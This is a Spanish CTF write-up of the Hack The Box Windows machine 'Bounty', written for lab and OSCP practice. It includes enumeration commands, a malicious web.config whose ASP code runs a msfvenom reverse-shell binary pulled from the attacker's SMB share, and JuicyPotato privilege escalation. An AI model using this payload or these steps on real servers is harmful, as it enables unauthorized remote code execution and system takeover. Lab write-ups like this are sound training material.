Saltar al contenido

HackTheBox – Bounty – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Bounty de Hack The Box. Es una máquina Windows de nivel fácil, con una vulnerabilidad de tipo File Upload y una escalada de privilegios basada en SeImpersonatePrivilege.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap -p- --min-rate 5000 --open -n 10.10.10.93

En la máquina hay solamente un puertos abierto. Escaneo el puerto que he encontrado para ver la versión del servicio que están corriendo en el y ejecuto una serie de scripts de enumeración básicos.

nmap -p80 -sCV 10.10.10.93

HTTP

Comienzo accediendo a la web a través del navegador pero solamente veo una imagen.

Hago un fuzzing de directorios ocultos con wfuzz y encuentro uno llamado UploadedFiles pero al acceder a él me deniega el acceso.

wfuzz -c -t 100 --hc 404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.93/FUZZ

Al no poder acceder, se me ocurre hacer un fuzzing de ficheros por las extensiones mas comunes (teniendo en cuenta que se trata de un IIS) y busco ficheros con extension html, txt y aspx. Encuentro un fichero llamado transfer.aspx.

wfuzz -c -t 100 --hc 404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -z list,html-txt-aspx http://10.10.10.93/FUZZ.FUZ2Z

Intento subir un fichero de prueba pero me indica que el formato no es válido.

Para buscar que extensiones pueden ser válidas, hago un ataque de tipo sniper con BurpSuite a la extensión, utilizando este diccionario de SecLists. Entre los formatos válidos, descubro que están permitidos los ficheros de extensión .config.

Explotación

Googleo un poco y encuentro el respositorio de github de gazcbm de binario maliciosos en formato .config. Voy a utilizar este.

En primer lugar, creo un binario malicioso con msfvenom, que me dará una shell reversa, y lo comparto por un servidor smb.

msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.14.3 lport=80 exitfunc=thread -f exe -o rshell.exe
sudo impacket-smbserver -smb2support evilsmb .

Después, creo el fichero malicioso web.config según como está indicado en el github pero modificándolo para que ejecute mi binario.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
Set objShell = CreateObject("WScript.Shell")
objShell.Exec("\\10.10.14.3\evilsmb\rshell.exe")
Response.write("<!-"&"-")
%>
-->

Pongo un netcat a la escucha por el puerto 80 y subo el binario.

Por último, ejecuto en binario entrando en la ruta http://10.10.10.93/uploadedFiles/web.config y obtengo la shell reversa.

Si me dirijo a la ruta C:\Users\merlin\Desktop y enumero el contenido, a primera vista no veo nada pero si ejecuto un dir /A puedo ver contenido oculto del directorio (algo así como el ls -la de linux) y encuentro la flag de usuario.

Escalada de Privilegios

Comienzo enumerando los privilegios de mi usuario y veo que el privilegio SeImpersonatePrivilege está como Enabled.

Compruebo la información del sistema y veo que se trata de una máquina de Windows Server 2008, por lo que podré utilizar JuicyPotato.

Host Name:                 BOUNTY
OS Name:                   Microsoft Windows Server 2008 R2 Datacenter 
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                55041-402-3606965-84760
Original Install Date:     5/30/2018, 12:22:24 AM
System Boot Time:          6/28/2022, 5:59:00 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory:     2,047 MB
Available Physical Memory: 1,638 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 3,661 MB
Virtual Memory: In Use:    434 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Local Area Connection
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.93

Ya he explotado esta vulnerabilidad varias veces en otras máquinas, a traves de un fichero bat, pero hoy quiero probar algo distinto. Aprovechando que tengo el binario de la explotación, voy a ejecutarlo por medio de JuicyPotato para obtener la shell reversa de administrador.

En primer lugar, creo un directorio para la escalada de privilegios dentro del directorio C:\Temp y subo a él el binario compilado de JuicyPotato y el de la shell revesa.

Ejecuto jp.exe (JuicyPotato) y veo que es compatible.

Ahora, simplemente, pongo un netcat a la escucha por el puerto 80 y ejecuto el siguiente comando para obtener la shell reversa.

jp.exe -t * -l rshell.exe

La flag de root la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

Publicado enCTFHTBOSCPwindows